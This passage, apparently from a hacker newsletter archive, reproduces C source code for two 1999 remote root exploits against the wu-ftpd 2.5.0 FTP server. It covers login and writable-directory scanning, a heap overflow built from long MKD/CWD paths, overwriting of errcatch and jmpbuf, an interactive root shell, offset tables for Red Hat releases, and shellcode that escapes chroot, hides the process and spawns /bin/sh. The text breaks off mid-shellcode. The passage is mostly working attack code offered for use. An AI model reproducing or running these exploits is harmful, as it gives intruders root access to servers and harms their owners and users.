          "-f <sourceport> - source port\n"
          "-v(v)           - increase verboseness, use twice for full verboseness\n"
          "-u <user>       - user name to use for login\n"
          "-P <pass>       - password to use for login\n"
          "-c <startdir>   - directory to cwd to after login\n"
          "-d <writedir>   - directory to test writeability with\n"
          "-r <revhost>    - revlookup this host sees you with\n"
          "-D <dirlen>     - specifies the directory length\n"
          "-T              - use test shellcode (prints success, spawns no shell)\n"
          "-t <type>:\n");
      
          for (cow = spdata ; cow->desc ; ++cow) {
              printf ("%s-%s %3d %s%s-%s\n%s\n%s\n", C_BOLD, C_GREEN, i++, C_NORM,
              C_BOLD, C_NORM, cow->banner, cow->desc);
          }
          printf ("%s-%s EOO %s%s-%s\n", C_BOLD, C_GREEN, C_NORM, C_BOLD, C_NORM);
      
          exit (EXIT_FAILURE);
      }
      
      /* sighandler
       *
       * handle signals
       *
       * no return value
       */
      void
      sighandler (const int signal)
      {
              printf ("received signal: %d... exiting!\n", signal);
              cleanup_and_exit ();
      }
      
      /* err
       *
       * print an error message. if arg0 is set add an errno message (perror like)
       * exit afterwards
       *
       * no return value
       */
      void
      err (const int syserr, const char *msg, ...)
      {
              va_list ap;
      
              printf ("%serr:%s ", C_RED, C_NORM);
      
              va_start (ap, msg);
              vprintf (msg, ap);
              va_end (ap);
      
              if (syserr) {
                      printf (": %s\n", sys_errlist[errno]);
              } else {
                      printf ("\n");
              }
      
              cleanup_and_exit();
      
              return;
      }
      
      /* parseargs
       *
       * parse arguments
       *
       * no return value (exit on failure)
       */
      void
      parseargs (int argc, char **argv)
      {
              char    c;
      
              opterr = 0;
              tesopt.user = "anonymous";
              tesopt.pass = "m@y.kr";
              tesopt.dirname = "tesotest";
              tesopt.port = 21;
              tesopt.sport = 666;
              tesopt.cwd = "";
              tesopt.dirlen = 255;
              tesopt.testonly = 0;
              tesopt.dirscanonly = 0;
      
              while ((c = getopt (argc, argv, "vhs:p:f:u:P:c:d:D:r:t:bTo")) != EOF) {
                      switch (c) {
                      case 'v':       ++debug;
                                      break;
                      case 'h':       usage (argv[0]);
                                      break;
                      case 's':       tesopt.host = optarg;
                                      break;
                      case 'p':       if (optarg != NULL)
                                              tesopt.port = x2port (optarg);
                                      break;
                      case 'f':       if (optarg != NULL)
                                              tesopt.sport = x2port (optarg);
                                      break;
                      case 'u':       if (optarg != NULL)
                                              tesopt.user = optarg;
                                      break;
                      case 'P':       if (optarg != NULL)
                                              tesopt.pass = optarg;
                                      break;
                      case 'c':       if (optarg != NULL)
                                              tesopt.cwd = optarg;
                                      break;
                      case 'd':       if (optarg != NULL)
                                              tesopt.dirname = optarg;
                                      break;
                      case 'r':       if (optarg != NULL)
                                              tesopt.rev = xstrdup (optarg);
                                      break;
                      case 'D':       tesopt.dirlen = atoi(optarg);
                                      break;
                      case 't':       sptr += atoi(optarg);
                                      offset_selected = 1;
                                      if (!sptr->desc) {
                                              err (0, "invalid offset set");
                                      }
                                      break;
      
                      case 'T':       shellcode = testcode;
                                      tesopt.testonly = 1; break;
                      case 'o':       tesopt.dirscanonly = 1; break;
      
                      }
              }
      
              if (tesopt.host == NULL)
                      err (0, "server not specified (see -h)");
              if (tesopt.port == 0)
                      err (0, "port not or incorrectly specified (see -h)");
              if (tesopt.sport == 0)
                      err (0, "sport not or incorrectly specified (see -h)");
      
              if (tesopt.dirlen == 0)
                      err (0, "illegal dirlen!\n");
      
              tesopt.he = xgethostbyname (tesopt.host);
      
              return;
      }
      
      struct hostent *
      xgethostbyname (const char *name)
      {
              struct hostent  *tmp;
      
              tmp = gethostbyname (name);
              if (tmp == NULL)
                      err (1, "cannot gethostbyname");
      
              return (tmp);
      }
      
      struct hostent *
      xgethostbyaddr (const char *addr, int len, int type)
      {
              struct hostent  *tmp;
      
              tmp = gethostbyaddr (addr, len, type);
              if (tmp == NULL)
                      err(1,"cannot gethostbyaddr");
      
              return (tmp);
      }
      
      /* xmalloc
       *
       * wrap malloc with error handling
       *
       * return or abort
       */
      void *
      xmalloc (size_t size)
      {
              void    *tmp = malloc (size);
      
              if (tmp == NULL)
                      err (1, "malloc failed");
      
              return (tmp);
      }
      
      /* xcalloc
       *
       * wrap calloc with error handling
       *
       * return or abort
       */
      void *
      xcalloc (int factor, size_t len)
      {
              void    *new = calloc (factor, len);
      
              if (new == NULL)
                      err (1, "calloc failed");
      
              return (new);
      }
      
      /* xstrdup
       *
       * wrap strdup with error handling
       *
       * return or abort
       */
      char *
      xstrdup (const char *s)
      {
              char    *tmp;
      
              tmp = strdup (s);
              if (tmp == NULL)
                      err (1, "strdup failed");
      
              return (tmp);
      }
      
      /* xread
       *
       * read with error handling
       *
       * return length of readen data
       */
      ssize_t
      xread (int fd, void *buf, size_t count)
      {
              int     tmp;
      
              tmp = read (fd, buf, count);
              if (tmp < 1)
                      err (1, "read failed");
      
              return (tmp);
      }
      
      /* xwrite
       *
       * write with error handling
       *
       * return length of written data
       */
      ssize_t
      xwrite (int fd, const void *buf, size_t count)
      {
              int     tmp;
      
              tmp = write (fd, buf, count);
              if (tmp < 0)
                      err (1, "write failed");
      
              return (tmp);
      }
      
      /* xbind
       *
       * bind with error handling
       *
       * return bound socket
       */
      int
      xbind (int sockfd, struct sockaddr *my_addr, int addrlen)
      {
              int     tmp;
      
              tmp = bind (sockfd, (struct sockaddr *) my_addr, addrlen);
              if (tmp < 0)
                      err (1, "bind failed");
      
              return (tmp);
      }
      
      /* xsocket
       *
       * socket with error handling
       *
       * return allocated socket descriptor
       */
      int
      xsocket (int domain, int type, int protocol)
      {
              int     tmp;
      
              tmp = socket (domain, type, protocol);
              if (tmp < 0)
                      err (1, "socket failed");
      
              return (tmp);
      }
      
      /* xsetsockopt
       *
       * setsockopt with error handling
       */
      int
      xsetsockopt (int s, int level, int optname, const void *optval,
              unsigned int optlen)
      {
              int     tmp;
      
              tmp = setsockopt (s, level, optname, optval, optlen);
              if (tmp < 0)
                      err (1, "setsockopt failed");
      
              return (tmp);
      }
      
      /* xconnect
       *
       * connect with error handling
       */
      int
      xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen)
      {
              int     tmp;
      
              tmp = connect (sockfd, serv_addr, addrlen);
              if (tmp < 0)
                      err (1, "connect failed");
      
              return (tmp);
      }
      
      
      /* connect_to_ftp
       *
       * connect to ftpserver and resolve local ip
       *
       * return nothing
       */
      void
      connect_to_ftp (void)
      {
          int                 i = 1;
          struct sockaddr_in  sin;
          struct hostent              *he;
      
      
          fd = xsocket (AF_INET, SOCK_STREAM, 0);
          xsetsockopt (fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof (i));
      
          bzero (&sin, sizeof (sin));
      
          sin.sin_family = AF_INET;
      //    sin.sin_port = htons (tesopt.sport);
          sin.sin_addr.s_addr = 0;
      
         xbind (fd, (struct sockaddr*) &sin, sizeof (sin));
      
          sin.sin_port = htons (tesopt.port);
          sin.sin_family = AF_INET;
      
          memcpy (&sin.sin_addr.s_addr, tesopt.he->h_addr, sizeof (struct in_addr));
      
          xconnect (fd, (struct sockaddr*) &sin, sizeof (sin));
      
          /* this is a good time to get our revlookup (if not user defined) */
          if (tesopt.rev == NULL) {
              i = sizeof (sin);
              getsockname (fd, (struct sockaddr *) &sin, &i);
              he = gethostbyaddr ((char *) &sin.sin_addr,
                                  sizeof (sin.sin_addr), AF_INET);
              tesopt.rev = xstrdup (he->h_name);
          }
          printf ("Connected! revlookup is: %s, logging in...\n", tesopt.rev);
      
          return;
      }
      
      /* putserv
       *
       * send data to the server
       */
      void
      putserv (const char *fmt, ...)
      {
              va_list         ap;
              unsigned char   output[1024];
              int             i, total;
      
              memset (output, '\0', sizeof (output));
              va_start (ap, fmt);
              vsnprintf (output, sizeof (output) - 1, fmt, ap);
              va_end (ap);
      
              /* this is edis code
               */
              total = strlen (output);
              for (i = 0; i < total; i++) {
                      if (output[i] == 0xff) {
                              memmove (output + i + 1, output + i, total - i);
                              total++;
                              i++;
                      }
              }
      
              if (disp != 0 && (debug > 1))
                      printf ("%s%s%s", C_BLUE, output, C_NORM);
      
              xwrite (fd, output, total);
      
              return;
      }
      
      #define LINEBUFLEN 8192
      char    linebuf[LINEBUFLEN];  /* saves us free()ing trouble. */
      
      /* getline
       *
       * get next line from server or local buffer
       */
      char *
      getline (void)
      {
              char    y[2];
              int     i = 0;
      
              memset (linebuf, '\0', sizeof (linebuf));
              strcpy (y, "x");
      
              while (strncmp (y, "\n", 1) != 0) {
                      if (i > (sizeof (linebuf) + 2)) {
                              err (0, "getline() buffer full");
                      }
                      i += xread (fd, y, 1);
                      strcat (linebuf, y);
              }
      
              if (disp != 0 && debug > 0) {
      #ifdef COLOR
                      if (nostat != 0) {
                              char    color[64];
      
                              memset (color, '\0', sizeof (color));
      
                              switch (linebuf[0]) {
                              case '2':       strcpy (color, C_CYAN);
                                              break;
                              case '3':       strcpy (color, C_BROWN);
                                              break;
                              case '4':       strcpy (color, C_RED);
                                              break;
                              case '5':       strcpy (color, C_RED);
                                              break;
                              default:        break;
                              }
      
                              printf ("%s", color);
                      }
      #endif
                      if (nostat != 0 || debug > 1)
                              printf ("%s", linebuf);
      #ifdef COLOR
                      if (nostat != 0)
                              printf ("%s", C_NORM);
      #endif
              }
      
              return (linebuf);
      }
      
      /* getmsg
       *
       * discard lines until expected response or error is reported
       */
      char *
      getmsg (const char *msg)
      {
              char    *line;
              int     i = strlen (msg);
      
              do {
                      line = getline ();
              } while (strncmp (line, msg, i) != 0 && strncmp (line, "5", 1) != 0);
      
              return (line);
      }
      
      /* log_into_ftp
       *
       * log into the ftp server given the login name and password
       *
       * return nothing
       */
      void
      log_into_ftp (void)
      {
              char    *line;
              char    foundmatch=0;
      
              line = getmsg ("220 ");
              hostinf.header = xstrdup (line);
      
              if (!debug)
                  printf("%s", line);
              if (!offset_selected) {
                  for (sptr = spdata ; sptr->banner ; ++sptr) {
                      if (strstr(line, sptr->banner)) {
                          foundmatch=1;
                          break;
                      }
                  }
                  if (!foundmatch)
                      err(0, "No offset selected, and no matching banner found!");
              }
      
              printf ("Using offsets from: %s\n", sptr->desc);
      
              putserv ("USER %s\n", tesopt.user);
              getmsg ("331 ");
              putserv ("PASS %s\n", tesopt.pass);
              line = getmsg ("230 ");
              if (strncmp ("5", line, 1) == 0)
      
                      err (0, "login not accepted!\n");
      
              if (strlen (tesopt.cwd) > 0) {
                      if (cwd (tesopt.cwd) == 0) {
                              err (0, "initial CWD failed.");
                      }
              }
      
              getpwd ();
      
              return;
      }
      
      /* recurse_writable
       *
       * recursively scans for writable dirs, starting in CWD
       *
       * return 1 for CWD is writable
       * return 0 for no writable dir found
       */
      int
      recurse_writable (void)
      {
              dirptr  dirroot = NULL,
                      current = NULL,
                      prev = NULL;
              char    *line = "",
                      *tmp = "";
      
              if (is_writable () != 0)
                      return (1);
      
              nostat = 0;
              putserv ("STAT .\n");
      
              while (strncmp (line, "213 ", 4) != 0) {
                      line = getline ();
                      tmp = getdir (line);
      
                      if (tmp == NULL)
                              continue;
                      if (dirroot == NULL) {
                              current = dirroot = newdir (tmp);
                              continue;
                      }
      
                      current->next = newdir (tmp);
                      current = current->next;
              }
      
              nostat = 1;
              current = dirroot;
      
              while (current != NULL) {
                      if (cwd (current->name)) {
                              if (recurse_writable ())
                                      return (1);
                              cwd ("..");
                      }
      
                      prev = current;
                      current = current->next;
                      free (prev->name);
                      free (prev);
              }
      
              return (0);
      }
      
      /* mkd
       *
       * make a directory
       *
       * return 0 on success
       * return 1 if the directory already exists
       * retrun 2 on error
       */
      int
      mkd (char *name)
      {
              char    *line;
      
              putserv ("MKD %s\n", name);
              line = getmsg ("257 ");
      
              if (strncmp ("521 ", line, 4) == 0)
                      return (1);
      
              if (strncmp ("257 ", line, 4) == 0)
                      return (0);
      
              return (2);
      }
      
      
      /* rmd
       *
       * remove a directory
       *
       * return 0 on success
       * return 1 on failure
       */
      int
      rmd (char *name)
      {
              char    *line;
      
              putserv ("RMD %s\n", name);
              line = getmsg ("250 ");
      
              if (strncmp("250 ", line, 4) == 0)
                      return (0);
      
              return (1);
      }
      
      /* is_writeable
       *
       * check whether the current working directory is writeable
       *
       * return 1 if it is
       * return 0 if it is not
       */
      int
      is_writable (void)
      {
              int     i = 0,
                      is = 0;
      
      redo:
              if (++i > 3)
                      return (0);
      
              is = mkd (tesopt.dirname);
              if (is == 1) {
                      printf ("leet.. our file already exists.. delete and retry\n");
                      rmd (tesopt.dirname);
      
                      goto redo;
              } else if (is == 0) {
                      rmd (tesopt.dirname);
      
                      return (1);
              }
      
              return (0);
      }
      
      /* cwd
       *
       * change current working directory on the ftp server
       *
       * return 1 on success
       * return 0 on failure
       */
      int
      cwd (const char *path)
      {
              char    *line;
      
              if (debug != 0)
                      printf ("CWD %s\n", path);
      
              putserv ("CWD %s\n", path);
              line = getmsg ("250 ");
      
              if (strncmp ("250 ",line, 4) == 0)
                      return (1);
      
              return (0);
      }
      
      /* getpwd
       *
       * sets hostinf.pwd to CWD
       *
       * returns nothing
       */
      void
      getpwd (void)
      {
              char    *tmp,
      
                      *line;
              char    *chr,
                      *rchr;
      
              putserv ("PWD\n");
              line = getmsg ("257 ");
              if (strncmp ("257 ", line, 4) != 0)
                      err (0, "getpwd failed: incorrect answer: %s", line);
      
              /* too long, but for sure long enough. */
              tmp = xcalloc (strlen (line) + 1, 1);
      
              chr = strchr (line, '"');
              rchr = strrchr (line, '"');
      
              if (chr == NULL)
                      err (0, "no \"'s in getpwd.");
      
              if (chr == rchr)
                      err (0, "only one \" in getpwd.");
      
              if ((rchr - chr) < 2)
                      err (0, "pwd too short?");
      
              strncat (tmp, chr + 1, rchr - chr - 1);
      
              if (hostinf.pwd != NULL)
                      free (hostinf.pwd);
      
              hostinf.pwd = xstrdup (tmp);
              free (tmp);
      
              hostinf.pwdlen = strlen (hostinf.pwd);
      /*    printf("current pwd is %s\n", hostinf.pwd); */
      }
      
      /* getdir
       *
       * get directory from a STAT string (parsing works with wuftpd AND proftpd)
       *
       * return pointer to directory name on success
       * return NULL on failure/not a directory
       */
      char *
      getdir (char *stat)
      {
              char    *dir = stat;
      
              if (strlen (dir) < 57)
                      return (NULL);
      
              if (strncmp (" ", dir, 1) == 0)
                      ++dir;
              if (strncmp ("d", dir, 1) != 0)
                      return (NULL);
      
              dir += 55;
              dir[strlen (dir) - 2] = 0;
      /*    printf("strlen is %d for %s",strlen(dir), dir); */
      
              if (strcmp (".", dir) == 0 || strcmp ("..", dir) == 0)
                      return (NULL);
      
              return (dir);
      }
      
      /* cleanup_and_exit
       *
       * cleanup functions on exit
       *
       * return nothing
       */
      void
      cleanup_and_exit (void)
      {
              free (tesopt.rev);
              free (hostinf.header);
              free (hostinf.pwd);
              close (fd);
      
              printf ("%s\n", C_NORM);
      
              exit (EXIT_SUCCESS);
      }
      
      /* x2port
       *
       * like atoi, but with getservbyname if atoi() fails
       *
       * return port
       */
      int
      x2port (const char *smtn)
      {
              struct servent  *serv;
              int             port;
      
              port = atoi (smtn);
              if (port == 0) {
                      serv = getservbyname (smtn, "tcp");
                      if (serv != NULL)
                              port = htons (serv->s_port);
              }
      
              return (port);
      }
      
      /* int2char
       *
       * converts an integer to 4byte char *
       *
       * return port
       */
      char    int2char_tmp[8];
      char *
      int2char (int addr)
      {
              bzero(&int2char_tmp, 8);
              int2char_tmp[0] = (addr & 0x000000ff);
              int2char_tmp[1] = (addr & 0x0000ff00) >> 8;
              int2char_tmp[2] = (addr & 0x00ff0000) >> 16;
              int2char_tmp[3] = (addr & 0xff000000) >> 24;
              int2char_tmp[4] = 0;
      
              return (int2char_tmp);
      }
      
      /* wuftpd_250_sploitit
       *
       * tries to exploit wuftpd 2.5.0, after all preparation work is done.
       *
       * return 0 on error
       * return 1 on success
       */
      int
      wuftpd_250_sploitit (void)
      {
          int shelloff,
              times,
              fill;
          int start_writing_to_errcatch,
              argvlen,
              behind_errcatch;
          int i, n;
          char string[2048];
      
          argvlen = strlen ("ftpd: ");
          argvlen += strlen (tesopt.rev);
          argvlen += strlen (": ");
          argvlen += strlen (tesopt.user);
          argvlen += strlen (": ");
      
          if (strncmp ("anonymous", tesopt.user, 9) == 0)
              argvlen += strlen (tesopt.pass) + 1;
      
          times = (sptr->maxpathlen-hostinf.pwdlen) / (tesopt.dirlen + 1);
      
          fill = sptr->maxpathlen-hostinf.pwdlen - (tesopt.dirlen + 1) * times;
      
          if (debug > 0) {
              printf ("CWD %d + (dirlen %d * %d times) + fill %d = %d\n",
                      hostinf.pwdlen, tesopt.dirlen, times, fill, sptr->maxpathlen);
          }
      
          if (strlen (shellcode) > (tesopt.dirlen - 40))
              err(0, "shellcode too big, edit the source to use less padding,"
                      "\nhmm.. this shouldn't have happened with LaM3rZ shellcode!");
      
          /* let's try to hit the middle of our 0x90 pad */
          shelloff = sptr->mapped_path + hostinf.pwdlen
                                  + ( (tesopt.dirlen - strlen(shellcode)) / 2);
      
          if (debug > 0)
              printf ("will try to longjmp to 0x%x\n", shelloff);
      
          start_writing_to_errcatch = sptr->errcatch - argvlen;
          behind_errcatch = sptr->errcatch + (6 * 4) + 2 + 8;
      
          if (debug > 0) {
              printf ("errcatch(0x%x) - argvlen(%d) = start 0x%x - end 0x%x\n",
                      sptr->errcatch, argvlen, start_writing_to_errcatch, behind_errcatch);
          }
      
          memset (string, 'A', tesopt.dirlen);
      
          if (debug<3) /* 0x0e/^N in shellcode -> not meant for humans. */
              disp = 0;
          for (i = 0; i < times; i++) {
                  switch (i) {
                  case 0: memset (string, 0x90, tesopt.dirlen);
                          memcpy (string+tesopt.dirlen-strlen(shellcode),
                                  shellcode, strlen (shellcode));
                          break;
                  case 1: memset (string, 0x90, tesopt.dirlen); break;
                  default:
                          break;
                  }
      
                  string[tesopt.dirlen] = 0;
                  putserv ("MKD %s\n", string);
                  getline ();
      
                  putserv ("CWD %s\n", string);
                  getline ();
          }
      
          getpwd ();
          disp = 1;
      
          if (debug > 0)
              printf ("Now %d bytes deep in dir structure.\n", hostinf.pwdlen);
      
          if (fill != sptr->maxpathlen-hostinf.pwdlen)
              err (0, "Calculation wrong. Error!");
      
          if (fill > 506)
              err (0, "Aw.. fuck! My fill is waaaay to big!\n");
      
          /* onefile[0], onefile[1] and maybe pad_eax */
          fill += sptr->pad_eax ? 12 : 8;
      
          n = fill/4;
          string[0] = 0;
          for (i=0; i < n; i++)
              strcat(string, int2char(start_writing_to_errcatch));
          for (i=1; i < (fill - (n*4)); i++)
              strcat(string, "A");
      
          /* mapped_path + currentpwdlen + / + 3*4 -> should be pointer to errcatch */
          strcat (string, int2char (sptr->mapped_path+hostinf.pwdlen+13)); /* Argv */
          strcat (string, int2char (behind_errcatch)); /* LastArgv */
      
          if (debug > 0)
                  printf ("Sending final CWD\n");
      
          if (strlen (string) < 20)
          err (0, "cwd string too short.. check for 0x0's.\n");
      
          putserv ("CWD %s\n", string);
          getline ();
      
      /************ jmpbuf ***********/
      
          if (debug > 0)
                  printf ("Sending jmpbuf\n");
      
          string[0] = 0;
          for (i=0; i<8; i++) /* (sizeof(jmpbuf) = 24)+8.. */
              strcat (string, int2char (shelloff));
      
          if (strlen (string) != 32)
                  err (0, "jmpbuf string too short.. check for 0x0's.\n");
      
          putserv ("%s\n", string);
      
          getline ();
      
          return (1);
      }
      
      /* shell
       *
       * provide a pseudo shell..
       *
       * return nothing
       */
      void
      shell (void)
      {
              char    buf[5120];
              int     l;
              fd_set  rfds;
      
              printf("%sSpawning rootshell:%s\n", C_RED, C_NORM);
      
              while (1) {
                      FD_SET (0, &rfds);
                      FD_SET (fd, &rfds);
      
                      select (fd+1, &rfds, NULL, NULL, NULL);
                      if (FD_ISSET (0, &rfds)) {
                              l = read (0, buf, sizeof (buf));
                              if (l <= 0)
                                      cleanup_and_exit ();
                              xwrite (fd, buf, l);
                      }
      
                      if (FD_ISSET (fd, &rfds)) {
                              l = read (fd, buf, sizeof (buf));
                              if (l <= 0)
                                      cleanup_and_exit ();
                              xwrite (1, buf, l);
                      }
              }
      }
      
      /* check_test_return
       *
       * Check if testcode sploiting was successfull.
       *
       * return 0 on failure
       * return 1 on success
       */
      
      int check_test_return(char *what, int len) {
          char line[1024];
          int i, flags;
          fd_set rset;
          struct timeval  tv;
      
          printf("w8ing for testshellcode to respond...\n");
          flags = fcntl(fd, F_GETFL, 0);
          if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0)
              err(1, "fcntl fucked up (testshellcode)");
      
          FD_ZERO(&rset);
          FD_SET(fd, &rset);
      
          tv.tv_sec = 10;
          tv.tv_usec = 0;
      
          if (!select(fd + 1, &rset, NULL, NULL, &tv))
              err(0, "select timed out(testshellcode)");
      
          i = read(fd, line, len);
          if (!strncmp(what, line, len)) {
              printf("%sSploit successfull!%s\n", C_RED, C_NORM);
              return(1);
          };
          printf("%sSploit not successfull!%s\n", C_RED, C_NORM);
          return(0);
      }
      
      int
      main (int argc, char **argv)
      {
              int i;
              title ();
      
              if (argc < 3)
                      usage (argv[0]);
      
              signal (SIGINT, (void *) &sighandler);
              signal (SIGQUIT, (void *) &sighandler);
      
              parseargs (argc, argv);
      
              printf("Connecting...\n");
              connect_to_ftp ();
      
              log_into_ftp ();
              if (sptr->need_writable || tesopt.dirscanonly) {
                  printf ("Logged in! Searching for a writable directory...\n");
                  if (!recurse_writable())
                          err (0, "kurwa mac! no writable dir found\n");
              } else {
                  printf ("Logged in!\n");
              }
      
              getpwd ();
              printf ("       %s is writable.. rock on!\n", hostinf.pwd);
      
              if (!tesopt.dirscanonly) {
                  printf("Trying to sploit...\n");
                  sptr->code();
                  tesopt.testonly ? i = check_test_return("teso\n", 5) : shell();
                  if (!i)
                      printf ("sploiting not successfull\n");
              }
      
              cleanup_and_exit();
              return (0); /* not reached */
      }
      
      
      @HWA      
      
35.0   wuftpd250-sploit.c C0ded by nuuB [Sep 19, 1999]
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       From http://www.hack.co.za

      /*
       * wuftpd250-sploit.c - wuftpd 2.5.0 hands us (remote) r00t in the ensuing
       *                      chaos that follows a heap overflow. Linux version.
       *
       * C0ded by nuuB [Sep 19, 1999]
       *
       * Compile with:
       *
       *        cc wuftpd250-sploit.c -o wuftpd250-sploit
       *
       * Credits:
       *        typo for interesting discussions and the double combo idea.
       *        edi for the 'eip in PASS' idea.
       *        lcamtuf for finding the bug and posting on bugtraq.
       *        temas for a RH6 box to test this on.
       *
       * Quote:
       *
       * "<typo_> it's wicked... but you can change errcatch and LastArgv at the
       *          same time, thus doing an elite combo and owning the entire world"
       *
       * Below is a detailed description of how the exploit works. You shouldn't
       * have too much trouble understanding what is going on. The code is written
       * for readability and roboustness (i.e not using the 'printf()|nc' style).
       *
       * Have fun, but as always - BEHAVE!
       *
       * /nuuB
       */
      
      /*
       * Overflow:
       * 
       *   cwd(<EGG>) -> mapping_chdir() -> do_elem() -> strcat(mapped_path, dir);
       *
       * Pseudo call sequence for each received FTP command:
       *
       *   if(command_not_implemented) longjmp(errcatch);
       *   setproctitle("<who>: <command>");
       *   do_<command>();
       *   setproctitle("<who>: IDLE");
       *
       * where
       *
       *   setproctitle(<string>) {
       *     copy <string> to Argv[0] and pad with spaces to LastArgv;
       *   }
       *
       * Egg:
       *
       *    /incoming/A--A/<c0de>/<c0de>A--A/eeee00001111oooooooovvvvLLLL\0
       *    ^- 0           ^- mp_size-255-256            ^- mp_size
       *
       * Pad: A--A=padding/NOP
       * Data: e=eip for the 2x combo (see below), 0=owned_Argv[0], 1=owned_Argv[1]
       * Overflowed variables: o=onefile, v=Argv (ptr to Argv[0]), L=LastArgv
       *
       * mp_size = sizeof(mapped_path) + any alignment bytes added by the compiler
       *
       *   We can't get eip directly, but as setproctitle() copies data we have some
       *   control over to the area between Argv[0] and LastArgv we can do some neat
       *   stuff. There are several ways to do it, but this exploit uses the three
       *   different methods outlined below.
       *
       * Anon attack:
       *
       *   We place the pointer to our c0de in PASS (used in setproctitle("IDLE")).
       *   eip can be snagged in different ways. One way is to overwrite the return
       *   address on the stack for setproctitle(), essentially turning the heap
       *   overflow into a stack overflow. The nature of the exploit forces us to
       *   know the exact place on the stack, and this varies with the environment.
       *   Thus this method is very unreliable, but is still included as we do
       *   this for fun :) A better way is to overwrite the JB_PC part of errcatch
       *   and then cause errcatch to be called by issuing an unimplemented command.
       *   Still, we need two offsets, but both are on the heap. As a bonus
       *   this method can't be stopped by Stack Guard or non-executable stacks.
       *
       *   Required offsets: mapped_path, setproctitle() stack eip / errcatch.
       *
       * Account attack: 
       *
       *   There is no controllable data in the setproctitle("IDLE") call so we use
       *   two CWD's and make use of the setproctitle("CWD") calls. The first CWD
       *   will set the Argv stuff so the second CWD (with our eip) gets written
       *   where we want. The second CWD will have to change the Argv's so that
       *   we don't destroy the eip when the final setproctitle("IDLE") call comes.
       *   In this case we can't write eip to the stack as it will be hosed before
       *   we get a chance to use it. This method works for anonymous too and is
       *   unstoppable by Stack Guard etc.
       *
       *   Required offsets: mapped_path, errcatch.
       *
       * Interesting finding:
       *
       *   When trying to CWD <overflowing component> you get a 250 reply under
       *   RH5.1, but under RH6.0 you get a 550 (i.e chdir() fails) - even though
       *   the source for wuftpd is the same in both cases. This probably has to do
       *   with the different kernel/libc's and how they handle long paths. Anyhow,
       *   this needs to be taken into account in the double combo attack.
       *
       * Offsets:
       *
       *   The above methods require two offsets to be known exactly. This gives
       *   us a lot of combinations to try. The amount could possibly be reduced
       *   a bit using more eip pointers, but as mapped_path has to be known
       *   the number of combinations is bigger than I think is practical. Thus
       *   there is no option to enter offsets from the command line.
       */
      
      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <sys/types.h>
      #include <sys/socket.h>
      #include <arpa/inet.h>
      #include <netdb.h>
      #include <errno.h>
      #include <unistd.h>
      #include <fcntl.h>
      #include <signal.h>
      #include <ctype.h>
      
      extern int errno;
      
      /* Offsets that must be known (exactly) */
      int mapped_path_size; /* not really an offset... normally 1024 or 4096 */
      unsigned long mapped_path;
      unsigned long eip_addr;
      
      /* Values we want to set the corresponding variables to. Calculated from the
       * above offsets.
       */
      unsigned long c0de_addr;
      unsigned long owned_Argv0;
      unsigned long owned_Argv;
      unsigned long owned_LastArgv;
      
      #define TOP_OF_STACK 0xc0000000
      
      /* Variable that decides if mkd_cwd() aborts on errors or not */
      int mkd_cwd_bail_on_error=1;
      
      /* Lets start collecting offsets... */
      
      struct preset {
        char *desc;
        void (*attack)();
        int mpsize;
        unsigned long mp;
        unsigned long eip_addr;
      };
      
      void attack_anon();
      void attack_any();
      
      /* Offsets can be found using gdb, objdump or ltrace */
      
      struct preset presets[]={
        {"eip   RH 6.0  wu-ftpd-2.5.0-2.i386.rpm        Tue Jun 8 08:55:12 EDT 1999",
         attack_anon, 4096, 0x0806a1e0, 0xbfffe8a4},
        
        {"ljmp  RH 5.1  wu-ftpd-2.5.0-1.RH5-1.i386.rpm  Fri May 21 10:45:57 EDT 1999",
         attack_anon, 1024, 0x08066890, 0x0806fcc0+5*4},
        {"ljmp  RH 5.2  wu-ftpd-2.5.0-0.5.2.i386.rpm    Tue Jun 8 11:19:44 EDT 1999",
         attack_anon, 1024, 0x08067504, 0x08070930+5*4},
        {"ljmp  RH 6.0  wu-ftpd-2.4.2vr17-3.i386.rpm    Mon Apr 19 09:21:53 EDT 1999",
         attack_anon, 4096, 0x08067780, 0x08075520+5*4},
        {"ljmp  RH 6.0  wu-ftpd-2.5.0-2.i386.rpm        Tue Jun 8 08:55:12 EDT 1999",
         attack_anon, 4096, 0x0806a1e0, 0x08077fc0+5*4},
      
        {"2x    RH 5.1  wu-ftpd-2.5.0-1.RH5-1.i386.rpm  Fri May 21 10:45:57 EDT 1999",
         attack_any, 1024, 0x08066890, 0x0806fcc0+5*4},
        {"2x    RH 5.2  wu-ftpd-2.5.0-0.5.2.i386.rpm    Tue Jun 8 11:19:44 EDT 1999",
         attack_any, 1024, 0x08067504, 0x08070930+5*4},
        {"2x    RH 6.0  wu-ftpd-2.4.2vr17-3.i386.rpm    Mon Apr 19 09:21:53 EDT 1999",
         attack_any, 4096, 0x08067780, 0x08075520+5*4},
        {"2x    RH 6.0  wu-ftpd-2.5.0-2.i386.rpm        Tue Jun 8 08:55:12 EDT 1999",
         attack_any, 4096, 0x0806a1e0, 0x08077fc0+5*4},
      
        {0,0,0,0,0}
      };
      
      
      /* Some stuff we need */
      
      int ctrl;
      int verbose;
      char *local_hostname;
      
      char *target_host;
      int   target_port;
      char *target_user=0;
      char *target_pass=0;
      char *target_dir=0;
      
      /*
       * This c0de breaks out of chroot() and then goes through a lot of trouble
       * to hide the process from the system operator. Finally a shell is spawned.
       *
       * c0de:
       *
       *   setreuid(0,0); mkdir("h"); chroot("h"); for(i=0x42;i;--i) chdir("..");
       *   chroot("."); hide_process(); execve("/bin/sh");
       *
       * N0n0 c0dez: 0x00, 0x0a, 0x0d and for convenience 0x2f ('/').
       */
      
      /* Not optimized for space as we got plenty of room */
      
      #define C0DE_SIZE 402
      
      char c0de[]="\xbc\xfc\xff\xff\xbf\xeb\x02\xeb\x1c\xe8\xf9\xff\xff\xff\x2e\x2e"
                  "\x30\x53\x64\x65\x76\x53\x63\x6f\x6e\x73\x6f\x6c\x65\x30\x53\x62"
                  "\x69\x6e\x53\x73\x68\x5d\x31\xc0\x88\x45\x02\x88\x45\x0f\x88\x45"
                  "\x17\x8d\x5d\x15\x89\x5d\x18\x89\x45\x1c\x04\x2e\x40\x88\x45\x03"
                  "\x88\x45\x07\x88\x45\x10\x88\x45\x14\x31\xc0\x89\xc3\x89\xc1\xb0"
                  "\x46\xcd\x80\x8d\x5d\x16\x31\xc9\x66\xb9\x6d\x01\x31\xc0\xb0\x27"
